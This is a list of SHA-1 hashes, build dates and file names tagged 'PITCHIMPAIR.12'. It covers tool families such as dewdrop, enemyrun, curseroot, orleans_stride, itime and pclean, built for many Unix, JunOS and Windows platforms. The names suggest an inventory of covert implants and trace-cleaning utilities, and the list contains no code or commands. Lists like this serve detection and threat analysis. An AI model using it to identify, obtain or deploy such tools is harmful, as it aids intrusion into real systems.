+7466C5ED2265CA3A9C20B400FB2F848BD45A5B09 Wed Jan 6 19:52:30 2010 [PITCHIMPAIR.12] curseroot.hpuxb.11.00_v.2.0.0.3 +322B5DF8813723004AA6E91F541DEB4D510030FA Wed Jun 17 10:44:18 2009 [PITCHIMPAIR.12] curseroot.linux2.6.5-7.97-smp_v.1.2.2.9 +201F963039FDED3AA70DE84AF5DCCF47541C14DF Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.12] curseroot.linux2.6.5-7.97-smp_v.2.0.0.3 +FC8BF37C34ABD5D0E121775795B01EB5AD2A6BD0 Fri Mar 25 16:43:41 2011 [PITCHIMPAIR.12] curseroot.linux2.6.5-7.97-smp_v.2.1.0.8 +B9FA6DD58B8963783BB797641C35F8504146B15C Tue Jan 20 17:56:55 2009 [PITCHIMPAIR.12] curseroot.mswin32_v.1.2.0.2 +8A3EB497162EB18437EB85DE95AD11B66B7446D6 Tue May 19 18:51:10 2009 [PITCHIMPAIR.12] curseroot.mswin32_v.1.2.2.9 +7252FCC4AE84C3A88C6DB05828B8E09F19D37147 Fri Feb 13 11:35:36 2009 [PITCHIMPAIR.12] curseroot.sunos5.8_v.1.2.0.2 +79D951876AA687ED8039D6B8A194F8DCDC0C02E1 Tue May 19 18:51:20 2009 [PITCHIMPAIR.12] curseroot.sunos5.8_v.1.2.2.9 +F992E901527ECEE524CDA9BA5F0C8F70942DB4CB Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.12] curseroot.sunos5.8_v.2.0.0.3 +9FED741DCC06376ADDF0328F72718E8F1CD5C8A0 Fri Mar 25 16:43:41 2011 [PITCHIMPAIR.12] curseroot.sunos5.8_v.2.1.0.8 +A268B392B04210156950928B9FC80674E1BBAF3B Tue Aug 7 20:46:37 2007 [PITCHIMPAIR.12] curseroot.v1.1.0.3.sunos5.8_v.1.1.0.3_solaris8 +8C056E61D9379D4981F38BDC65F4344A7A2CC959 Tue Aug 7 20:47:08 2007 [PITCHIMPAIR.12] curseroot.v1.1.0.3.sunos5.9_v.1.1.0.3_solaris9 +A4EA3AE1B8981228A3645C0E7FC844FF3BFDE689 Fri Feb 13 11:34:57 2009 [PITCHIMPAIR.12] curseroot.v1.2.0.2.aix5.1_v.1.2.0.1 +B9FA6DD58B8963783BB797641C35F8504146B15C Tue Jan 20 17:56:55 2009 [PITCHIMPAIR.12] curseroot.v1.2.0.2.mswin32_v.1.2.0.1 +7252FCC4AE84C3A88C6DB05828B8E09F19D37147 Fri Feb 13 11:35:36 2009 [PITCHIMPAIR.12] curseroot.v1.2.0.2.sunos5.8_v.1.2.0.1 +7992D84590400AEA7ACCC172402AC497889A4491 Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.12] curseroot.win2k_v.2.0.0.3 +9B6FC19EE920D26B7EA8F7E1B27BFF5F0BA18ABC Fri Mar 25 16:43:41 2011 [PITCHIMPAIR.12] curseroot.win2k_v.2.1.0.8 +F2814EB93164076B0DB67CCC8EDF865609524CFD Tue Oct 26 16:47:40 2010 [PITCHIMPAIR.12] curseroot_flx.win2k.i686_v.1.0.0.4 +B310FEDF0D9B19C58AAE2B35ACA73A292558D702 Thu Jul 3 14:57:47 2008 [PITCHIMPAIR.12] cursesleepy.mswin32_v.1.0.0.5 +7060A7B90CDEE01ED2EC5F2088FF3E280844DCE3 Thu Feb 18 20:59:37 2010 [PITCHIMPAIR.12] cursetails.aix5.1_v.1.0.0.1 +EC35453289E28A37E562113E9EFB582D125C5222 Thu Jan 21 15:37:56 2010 [PITCHIMPAIR.12] cursetingle.2.0.1.2.mswin32_v.2.0.1.1 +EC35453289E28A37E562113E9EFB582D125C5222 Thu Jan 21 15:37:56 2010 [PITCHIMPAIR.12] cursetingle.2.0.1.2.mswin32_v.2.0.1.1.updated +EC35453289E28A37E562113E9EFB582D125C5222 Thu Jan 21 15:37:56 2010 [PITCHIMPAIR.12] cursetingle.2.0.1.2.mswin32_v.2.0.1.2 +F7EA435175DEE6B6D9017120781FB5CB99CF5CD2 Thu Sep 18 16:41:49 2008 [PITCHIMPAIR.12] cursetingle.aix.5.1_v.1.1.1.1 +08E4FF1E990A02810623A37796B9FB82D6655F25 Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.12] cursetingle.aix.5.1_v.2.0.0.1 +275F529DC13CF184AB70B113F0FECA08D573CCFA Fri Jan 15 13:23:16 2010 [PITCHIMPAIR.12] cursetingle.aix5.1_v.2.0.1.1 +D7F9D7433CB9E3F14C6640DE19DFCCD2CB6C295C Thu Jul 10 13:12:31 2008 [PITCHIMPAIR.12] cursetingle.mswin32_v.1.0.0.7 +9B6399503D696C83D6EA4073321A20E84B354EAE Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.12] cursetingle.mswin32_v.2.0.0.1 +41DC7887C46CCDEA6A771FF0201E29193754FCCF Thu Jul 10 13:12:39 2008 [PITCHIMPAIR.12] cursetingle.sunos.5.9_v.1.0.0.7 +EB36543FF084B04AEE005D848EE3A9568A6674CA Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.12] cursetingle.sunos5.8_v.2.0.0.1 +6C869E358F34014C1A3EC859C5281871BAE2BD4F Thu Jan 21 15:37:50 2010 [PITCHIMPAIR.12] cursetingle.sunos5.8_v.2.0.1.1 +275F529DC13CF184AB70B113F0FECA08D573CCFA Fri Jan 15 13:23:16 2010 [PITCHIMPAIR.12] cursetingle.v2.0.1.1.aix5.1_v.2.0.1.1.updated +275F529DC13CF184AB70B113F0FECA08D573CCFA Fri Jan 15 13:23:16 2010 [PITCHIMPAIR.12] cursetingle.v2.0.1.1.aix5.1_v.2.0.1.2 +6C869E358F34014C1A3EC859C5281871BAE2BD4F Thu Jan 21 15:37:50 2010 [PITCHIMPAIR.12] cursetingle.v2.0.1.1.sunos5.8_v.2.0.1.1.updated +6C869E358F34014C1A3EC859C5281871BAE2BD4F Thu Jan 21 15:37:50 2010 [PITCHIMPAIR.12] cursetingle.v2.0.1.1.sunos5.8_v.2.0.1.2 +C8C5F054286140C25FC96F82F099D76D67E136ED Thu Jul 22 13:02:03 2010 [PITCHIMPAIR.12] cursetingle_flx.aix5.1.powerpc_v.1.0.0.9 +8ABAC3C15A23BA4DDCD52114F96B4BB740EFF6B3 Wed Jun 1 14:13:18 2011 [PITCHIMPAIR.12] cursetingle_flx.aix5.1.powerpc_v.1.0.1.3 +2D05D3842733B74764362F4117212F3D39E4610D Thu Jan 7 13:12:25 2010 [PITCHIMPAIR.12] curseyo.win2k_v.1.0.0.1 +8849F4B7B2DD9F106BB1499D9474E9BEE5FF3C64 Wed Jun 16 12:12:52 2010 [PITCHIMPAIR.12] cursezinger.linuxrh7.3_v.1.0.0.1 +52432EFB738D4EE975D1064BFCB0E73195991C04 Fri Sep 17 17:04:54 2010 [PITCHIMPAIR.12] cursezinger.linuxrh7.3_v.1.1.0.3 +6BCA7BFF280DCB01D708286E376410C438B6F9B4 Fri Oct 22 14:36:13 2010 [PITCHIMPAIR.12] cursezinger.linuxrh7.3_v.1.2.1.1 +D01B0DBD4496AB9C47E64272AA01EC8AAFC6D84D Tue Jul 19 16:43:11 2011 [PITCHIMPAIR.12] cursezinger.linuxrh7.3_v.2.0.0.2 +BC7C9839441097E8D1DA64E9864D0474F2452572 Wed Jun 16 13:00:05 2010 [PITCHIMPAIR.12] cursezinger.win2k_v.1.0.0.1 +6E4C1302C79A610EBFA3B24BBAAFA67F438D865B Fri Sep 17 17:04:54 2010 [PITCHIMPAIR.12] cursezinger.win2k_v.1.1.0.3 +9A6B894B022E311F059EFB50DDB656CEF014DF64 Wed Oct 13 12:39:38 2010 [PITCHIMPAIR.12] cursezinger.win2k_v.1.2.0.1 +F6567080A506403DFA7399AA4EBCE64DD9DCDD52 Fri Oct 22 14:36:13 2010 [PITCHIMPAIR.12] cursezinger.win2k_v.1.2.1.1 +23D1A5F85A02ECDBF14FE77A7D9C256AE63A1053 Tue Jul 19 16:43:11 2011 [PITCHIMPAIR.12] cursezinger.win2k_v.2.0.0.2 +A58C9E3E5B1AC639A6984D1CA271C568C2AFDCE3 Thu Apr 14 13:12:18 2011 [PITCHIMPAIR.12] cursezinger_flx.win2k.i686_v.1.0.0.2 +F21556577E712CFDBD82DAFABD565FF2F06AAB77 Thu Apr 19 19:58:02 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.1.3_i386-pc-solaris +06B35B3FF3B5560076DF2FB1DB37241903B3205A Fri Jun 13 19:30:15 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.11.1_hppa2.0w-hp-hpux11.11 +508992D43CF9EBAA835E13B985689A7A13418D07 Tue Oct 28 23:56:50 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.12.1_x86-freebsd +F456EDCE216C434B0EAADBB6999713DDB2F2C9C9 Tue Oct 28 23:57:00 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.13.1_sparc64-freebsd +D3F3FCD1CF4B8C670D6E200442554BF9B39110E5 Tue Dec 9 01:39:13 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.15.1_sparc-sun-solaris +65286FD19C15084371A547169B376B4057643612 Tue Dec 9 01:28:04 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.15.2_x86-linux +78AA72172506B4FEBF10332AFEAF3AF4520603C3 Sat Dec 13 01:44:35 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.15.3_x86_64-linux +3D53822488B7BF47748F7539114940920AE19CB4 Thu Jun 18 00:12:09 2009 [PITCHIMPAIR.12] dewdrop__v__3.0.16.1_x86-junos-8.5 +9DC8D16026D50DD0DC6132505D2649F21B2E0FC8 Wed May 2 19:51:30 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.2.1_sparc-sun-solaris +8F3AADCDAD6633C9D61DFF4264CDE0D527256332 Wed May 2 19:52:04 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.2.2_x86-linux +AC64CB1DF0DF41576E4F6D6D3B7DA0B9DF8FF81C Wed May 2 19:52:49 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.2.3_i386-pc-solaris +8AF03054800215229013A659C3AF3A29832228CF Wed Aug 8 15:44:54 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.2.5_x86-freebsd-6.2 +864669F4677A2252F4BC3C7C0058AE280C6270A6 Wed Sep 19 19:27:33 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.6.1_sparc-sun-solaris +76BCA4612317018FC74D307E39A1FC177E4AE6EF Wed Sep 19 19:07:20 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.6.2_sparc-sun-solaris2.7 +A15F96C0CF6327EA9B49E2B56709D74A013673B3 Thu Nov 29 01:14:50 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.7.1_sparc-sun-solaris +46FDE6D3D52D36ADA7C5223957279AC470CFE45F Thu Nov 29 01:16:13 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.7.2_x86-freebsd-6.2 +C4932A0A84653F87302EE7D8A79571FF7E75C512 Fri Feb 8 23:33:11 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.8.1_x86-linux +0070CD4691DA3729DBCDAB68CA2A2272860FD682 Sat Feb 9 04:38:28 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.8.2_sparc-sun-solaris +5E50EC1D2A2E72C98AC37FA0AF22C4E49383B785 Sat Feb 9 05:50:00 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.8.3_i386-pc-solaris +A96C5B8979ACD73DAEADE1CEDF99451F4071000F Sat Feb 9 05:54:46 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.8.4_sparc-sun-solaris2.7 +1900F92CAC4CF7A0C03F9F6ADB74016B6DE4183A Thu Feb 28 22:10:12 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.9.1_x86_64-linux +34DF2F3A3F16508EB757137EBAC74D6A49244E8E Fri Mar 7 13:03:04 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.9.2_x86-freebsd-6 +A1B5526261076B61BC971C9B4D8C3859EE4F76EF Fri Mar 7 13:16:12 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.9.3_x86-freebsd-5 +EB7B408650C18341B1D0EFB17A42ECA87C229698 Tue Oct 20 17:28:25 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.1.2_x86-junos +233FAC7D6148DF457387A18FBBC78B3FB86E4D5C Fri Oct 30 23:16:04 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.3.1_x86-linux +33B597FAFD224879AB0DD9D5FDF91B1257B539BD Fri Oct 30 23:11:51 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.3.3_sparc-sun-solaris +9C91B749995FC06E9C667A294E62262A30FB2B65 Fri Oct 30 23:14:11 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.3.4_x86-freebsd +2D9546346FB4EB3F02D7B1F8298F4BC4B0EEACC7 Fri Nov 13 22:08:41 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.3.5_x86_64-linux +7C04AE4E1E7812715A51FA84D46506DA0754F637 Wed Nov 18 19:55:45 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.3.6_i386-pc-solaris +A7C7A92D479DA534D62883FB334FD876F2D2F009 Thu Nov 19 20:41:38 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.3.7_sparc-sun-solaris2.7 +BE038483277659D146ADA15647D40BD8A801CD4D Tue Mar 9 22:30:03 2010 [PITCHIMPAIR.12] dewdrop__v__3.1.6.1_x86-linux +A2A0715E64D9727B0CE4F2288B39CB0DA523F9E6 Tue Mar 30 13:50:49 2010 [PITCHIMPAIR.12] dewdrop__v__3.1.7.2_x86_64-linux +AD2747C358E02A45E9D7726C7CBDB98D6199BBA8 Thu May 6 16:38:03 2010 [PITCHIMPAIR.12] dewdrop__v__3.1.8.1_x86-linux +E2D1FFD5F36655EC7221B60DFC566A00A32A63BA Thu May 6 15:23:15 2010 [PITCHIMPAIR.12] dewdrop__v__3.1.8.2_x86_64-linux +D2FE64432606C98E73414B994902508FA07F4176 Thu Sep 9 12:41:48 2010 [PITCHIMPAIR.12] dewdrop__v__3.1.8.3_ia64-hp-hpux11.23 +C50DD26C008F52046F3F3127C3E8921F2F682343 Fri Sep 3 21:38:44 2010 [PITCHIMPAIR.12] dewdrop__v__3.2.0.1_x86_64-freebsd +33C1FAAB5DC19FBC3050E74F87E67526BC9FD325 Fri Feb 11 21:31:01 2011 [PITCHIMPAIR.12] dewdrop__v__3.2.1.1_x86-junos +A34D477291C7D3B79899C2761973D3746AA716FF Wed Oct 14 17:39:58 2009 [PITCHIMPAIR.12] Dewdrop_3.1.0.1_i386-linux +D01451E5E34FCFE4E2F3BB35E3E56A3B0AD7706E Wed Oct 14 17:41:01 2009 [PITCHIMPAIR.12] Dewdrop_3.1.0.2_sparc-solaris8-10 +D01451E5E34FCFE4E2F3BB35E3E56A3B0AD7706E Thu Oct 15 19:02:54 2009 [PITCHIMPAIR.12] Dewdrop_3.1.0.3_sparc-solaris-gcc +6A11F1FF7FCE422E99EE84A054D51C25E587CA9E Thu Oct 15 19:03:10 2009 [PITCHIMPAIR.12] Dewdrop_3.1.0.4_i386-freebsd-gcc +BA39E8C3D9B53F4B99D417664C2CB168DACD24FB Thu Oct 15 19:11:28 2009 [PITCHIMPAIR.12] Dewdrop_3.1.0.X_README +B3D73B297EAD170FF794200BBD937559273B827E Tue Nov 21 13:22:42 2006 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.00_v.2.0 +995E8CB7297D918ADCF2CC73DE3E02870F2E2610 Thu Jun 14 15:14:47 2007 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.00_v.2.3.1.3 +8925A64B042AC51FD9D8112D10269CBDE6A60C8D Thu Aug 7 18:32:21 2008 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.00_v.3.0.0.1 +18B57F98F1D17260E732E3BCA7C4741F29E20F04 Tue Sep 15 12:14:02 2009 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.00_v.3.1.1.4 +C10D0DACA133484602A4CEE0731CBDD0C1F91614 Tue Nov 21 13:23:59 2006 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.11_v.2.0 +95F0010C4DAC390B86A1BC8AC750B9FB09B127F1 Wed Mar 12 16:24:55 2008 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.11_v.2.3.2.2 +778D0D1B0881148C9A2429EC53BAC7F462D4E448 Thu Aug 7 18:32:30 2008 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.11_v.3.0.0.1 +FE6472A06744737187AB6BF9C541362DFB13C615 Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.12] enemyrun.hpux11.00.parisc_v.3.2.0.1 +CE204B19B57D06E68C8BAB5705F87E35732C4FE6 Thu Jan 29 16:38:35 2009 [PITCHIMPAIR.12] enemyrun.linux2.4.21-37.elsmp_v.3.1.0.2 +88F63349411F0263B58E96E96AA1701AFF29D5C5 Tue Sep 15 12:14:02 2009 [PITCHIMPAIR.12] enemyrun.linux2.4.21-37.elsmp_v.3.1.1.4 +A9B5F528CA6D7C07C8A886AE6600309C7D92BE2A Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.12] enemyrun.linuxrhe3.6.i686_v.3.2.0.1 +1795F7CBDD912BC708C10543B865A81116A79022 Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.12] enemyrun.linuxrhl7.3.i686_v.3.2.0.1 +24BB76B1F4760BFF5A11BE9E64A7875A3B2BAAED Mon Nov 9 12:33:26 2009 [PITCHIMPAIR.12] enemyrun.rhl7.3_v.3.1.1.5 +2E145764FB52ED774AFCDFDB9B802587367901FF Tue Apr 13 11:38:33 2010 [PITCHIMPAIR.12] enemyrun.sunos.8.i386_v.3.1.1.6 +236D1446715D6794E6D4218A61F975AF284A3983 Thu Aug 7 18:32:38 2008 [PITCHIMPAIR.12] enemyrun.sunos5.10_v.3.0.0.1 +F1DA6A10245538A9DA6801B0610EED697B9544E9 Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.12] enemyrun.sunos5.8.i386_v.3.2.0.1 +64E154C2E4E8AE0FC8C6B3E647689A478ADA868E Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.12] enemyrun.sunos5.8.sparc_v.3.2.0.1 +F1E00D94CAC9377546FB1E0172A1316A0F5C0D0C Tue Nov 21 13:24:25 2006 [PITCHIMPAIR.12] enemyrun.sunos5.8_v.2.0 +20439C65F4866385D9F21C7D46CD2585B7B9B04C Thu Mar 8 21:22:28 2007 [PITCHIMPAIR.12] enemyrun.sunos5.8_v.2.2 +2F25A62C3FEE96EA5701EEBD44D0B059B68A9A38 Wed Apr 11 19:57:36 2007 [PITCHIMPAIR.12] enemyrun.sunos5.8_v.2.3 +BD2E4B80BCA2E0448A10B49C9211E962C7F531BA Thu Jun 14 15:15:32 2007 [PITCHIMPAIR.12] enemyrun.sunos5.8_v.2.3.1.3 +9CEA4BD6BC1CE05D92DDBFF0EA69906834F4C94B Thu Aug 7 18:33:09 2008 [PITCHIMPAIR.12] enemyrun.sunos5.8_v.3.0.0.1 +C46F5A9FB3621E1979B7B270C2C06AA85AA71271 Tue Sep 15 12:14:02 2009 [PITCHIMPAIR.12] enemyrun.sunos5.8_v.3.1.1.4 +2045B10C07F3EBF465F3E438D4F1FDA503FC404A Tue Nov 21 13:24:51 2006 [PITCHIMPAIR.12] enemyrun.sunos5.9_v.2.0 +C716B4A5127803FDFD1350172AF279D7CBB0452A Thu Aug 7 18:33:19 2008 [PITCHIMPAIR.12] enemyrun.sunos5.9_v.3.0.0.1 +D893E731F29164C7FABF6F3096BA8548A314AADF Wed Apr 2 19:58:32 2008 [PITCHIMPAIR.12] enemyrun.v2.3.2.2.hp-uxb.11.00_v.2.3.2.2_hp-ux_11.0 +5DBDF318FC7A3B25620641BF56A19E938A296B51 Wed Apr 2 20:05:08 2008 [PITCHIMPAIR.12] enemyrun.v2.3.2.2.sunos5.10_v.2.3.2.2_solaris_10 +F58F23357B7F6516ACAF7576FA1C8563D4958415 Wed Apr 2 20:00:36 2008 [PITCHIMPAIR.12] enemyrun.v2.3.2.2.sunos5.8_v.2.3.2.2_solaris_8 +B1A7F0711AD6F92C1C99B0CDAAF853DC5B480C84 Wed Apr 2 20:03:42 2008 [PITCHIMPAIR.12] enemyrun.v2.3.2.2.sunos5.9_v.2.3.2.2_solaris_9 +84CD55CD68A8A0EDF3648A245CBB1D0C78C984FF Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] forkpty.i386-pc-solaris2.6 +CAD61FCFB3F168F3DC787673FE4B869F76D099B6 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] forkpty.i386-unknown-freebsd4.0 +7FC81026258CBF9EED9CBBB4988A8508BD745F1A Thu May 8 14:56:00 2008 [PITCHIMPAIR.12] forkpty.i386-unknown-freebsd6.0 +AF04CC09AB779167D7BFB2CA7FF1669613A8555F Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] forkpty.i586-pc-linux-gnu +FB3D6B43DA8C8CF0A490AB1FF50DF360CBFA9641 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] forkpty.sparc-sun-solaris2.6 +6DC81917B194C729182613157407541020D17C1B Tue Apr 27 14:53:47 2010 [PITCHIMPAIR.12] forkpty.x86_64-unknown-linux-gnu +DD6AE0790E2C1B0238207B3EAC6A1056C2498289 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] itime-it.sparc-sun-solaris2.8 +429426C91E29E6F10308AA2891A8C9D409E4EF34 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime-it.sparc-sun-solaris2.8_sparcv9 +6B182A140BE5FBB8F107098CF84B287DABF7B46F Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.hppa1.1-hp-hpux10.20 +6B182A140BE5FBB8F107098CF84B287DABF7B46F Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.hppa2.0-hp-hpux10.20 +5758A9810DE2C5D5D38FB7C1B25D998FEF4B9162 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.hppa2.0w-hp-hpux11.00 +02B15A67552117761A98E7739A27CE88CC76EC57 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] itime.hppa2.0w-hp-hpux11.11 +F6845C5A20AAFB6CD0BB19717E0E6ED233077E3F Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.i386-pc-solaris2.6 +6746A83B3A1A183176AF6E4C91E655ACBFBE62DE Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] itime.i386-pc-solaris2.7 +CD7E19ADD74185055260785DE7C9B6D21B652FFD Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.i386-pc-solaris2.8 +7FCC02F17A5DE726E1041473DD81BEAD4EF82864 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.i386-pc-solaris2.9 +B60BE45F9408ED3AA6A01AD8AF387B2509939C4F Thu Sep 8 17:52:46 2011 [PITCHIMPAIR.12] itime.i686-pc-linux-gnu-2.2.14-5.0 +C5535FFFF8C0BE53EF70118ABDF22B854C0B9D3E Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.i686-pc-linux-gnulibc1-slackware-4.0.0 +8865D56AEFBBF87D68050F47271E381EE3590318 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] itime.powerpc-ibm-aix4.3.2.0 +51C484A0FEA159D974546A9F19B54FDEDBD9B674 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.4 +704A11F63FC852123ADCD9DA235E848CECF560B6 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.5 +B50B7AC932A9173A7F1456344EFC40DFED33E0AA Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.5.1 +32D715337ABB761BBCD9783D9738C80DC5CD1004 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.6 +781904F6ADF855A064006033776E33EAE2D31158 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.7 +31A410F638AE2A7225FA8D77C17086948942CC15 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.7_sparcv9 +DD6AE0790E2C1B0238207B3EAC6A1056C2498289 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.8 +429426C91E29E6F10308AA2891A8C9D409E4EF34 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.8_sparcv9 +F6A5CD0BBB29CA644F6354E3F6942A7D72229275 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.9 +E4A4E3157EB6F68F2CC93E45187E85405D176A72 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.9_sparcv9 +58FCC0746EEE57F6EBF964702A7D30CF107CBDCD Fri Oct 13 17:24:37 2006 [PITCHIMPAIR.12] jlhelper.debian.sparc +2054077215C879800BEC43A2C48620EFBB3297DB Wed May 10 18:36:39 2006 [PITCHIMPAIR.12] jlhelper.suse.x86_64 +7351950BCB494DA867374BF725C757F80C2EB8D0 Fri Mar 30 18:55:12 2007 [PITCHIMPAIR.12] orleans_stride.0.0.sunos5.8_v.2.3 +DD0AC5AA8F47AD681C486863DF4D26614C799199 Thu Jul 26 17:24:14 2007 [PITCHIMPAIR.12] orleans_stride.aix5.1_v.2.4.0.2 +CDF7E474E7807FF17B3FE6AB1387D373F036CC86 Tue Nov 25 14:31:56 2008 [PITCHIMPAIR.12] orleans_stride.aix5.1_v.2.5.0.2 +65E152D60D795D572D5743D3ECC22DE827D82B1E Fri May 15 14:09:10 2009 [PITCHIMPAIR.12] orleans_stride.aix5.1_v.2.5.1.9 +24E26751DCEB9199141EF898844305FE1F1F3271 Mon Nov 2 19:29:11 2009 [PITCHIMPAIR.12] orleans_stride.aix5.1_v.2.5.2.7 +FC17BF018A02B75A5E2A21CFE560361AE4CE5A76 Fri Jul 9 13:35:28 2010 [PITCHIMPAIR.12] orleans_stride.aix5.1_v.3.0.0.1 +902F95FB45F04D92C634FDE728776802B42723DF Tue Apr 26 11:10:48 2011 [PITCHIMPAIR.12] orleans_stride.aix5.1_v.3.1.0.1 +B93F3A67E73EFB0C953B8B6880E4DD343F598E85 Thu Jul 26 17:27:20 2007 [PITCHIMPAIR.12] orleans_stride.sunos5.8_v.2.4.0.2 +A9EDE9DACDD3F170F45844D3ED9584A1EF97F701 Fri Nov 7 16:57:21 2008 [PITCHIMPAIR.12] orleans_stride.sunos5.8_v.2.5.0.2 +D0CC103697961D6E9D342275C635482ABBD30545 Fri May 15 14:09:21 2009 [PITCHIMPAIR.12] orleans_stride.sunos5.8_v.2.5.1.9 +E288D1DEED89864493CC97D287FD636AA5B523C8 Mon Nov 2 19:29:11 2009 [PITCHIMPAIR.12] orleans_stride.sunos5.8_v.2.5.2.7 +0DF93CD9EE88E4EB4201A9E9ABC4AAFECCEADA69 Fri Jul 9 13:35:28 2010 [PITCHIMPAIR.12] orleans_stride.sunos5.8_v.3.0.0.1 +6AE5B63149E94C20B3848E265B80D2E0D65FBC09 Sat Mar 26 23:10:45 2011 [PITCHIMPAIR.12] orleans_stride.sunos5.8_v.3.1.0.1 +B41546413BE32E7B64E676793FC22FBE58171B73 Thu Jul 26 17:28:00 2007 [PITCHIMPAIR.12] orleans_stride.sunos5.9_v.2.4.0.2 +24E26751DCEB9199141EF898844305FE1F1F3271 Mon Nov 2 19:29:11 2009 [PITCHIMPAIR.12] orleans_stride.v2.5.2.7.aix5.1_v.superseded +E288D1DEED89864493CC97D287FD636AA5B523C8 Mon Nov 2 19:29:11 2009 [PITCHIMPAIR.12] orleans_stride.v2.5.2.7.sunos5.8_v.superseded +6290028FE300A5739CFD593B6FAC6614D9B02149 Fri Oct 13 13:57:22 2006 [PITCHIMPAIR.12] orleans_tride.sunos5.8_v.2.0 +4B327E0A3E6FC3197836DF73A7D5341A7BF872DC Fri Mar 16 19:19:54 2007 [PITCHIMPAIR.12] orleans_tride_v2.2_aix5.1_v.2.2 +7E5B887A7DE35F2923C1E5AF506FF254DD6104D7 Thu Feb 14 00:03:45 2008 [PITCHIMPAIR.12] pclean +5F281F0D6A83D57277F533874713E8EFB5BD21BA Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.0 +95EEDA330A033FB00A44ADD456D043DE5292FCCE Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.old.hppa1.1-hp-hpux10.20 +31AAB7F611DEFA1F11A8B9517A4B4FD175317BA8 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.prev.alphaev6-dec-osf4.0f +839C48ED1DF74AC00045FDF376C7C6CB880289F9 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.prev.hppa1.1-hp-hpux10.20 +955A5E182EC3917248C58D71F505BB495A598421 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.prev.i386-pc-solaris2.7 +64A83439FCB41405587DA92441D3E0675F5E727F Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.prev.i386-unknown-freebsd4.0 +8BB3AECD2B44E4ABC3E54815318961DA5422DAAE Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.prev.sparc-sun-solaris2.5 +16C9634E10DFC2C369B5A4117FEE1664218020C4 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.alphaev6-dec-osf4.0f 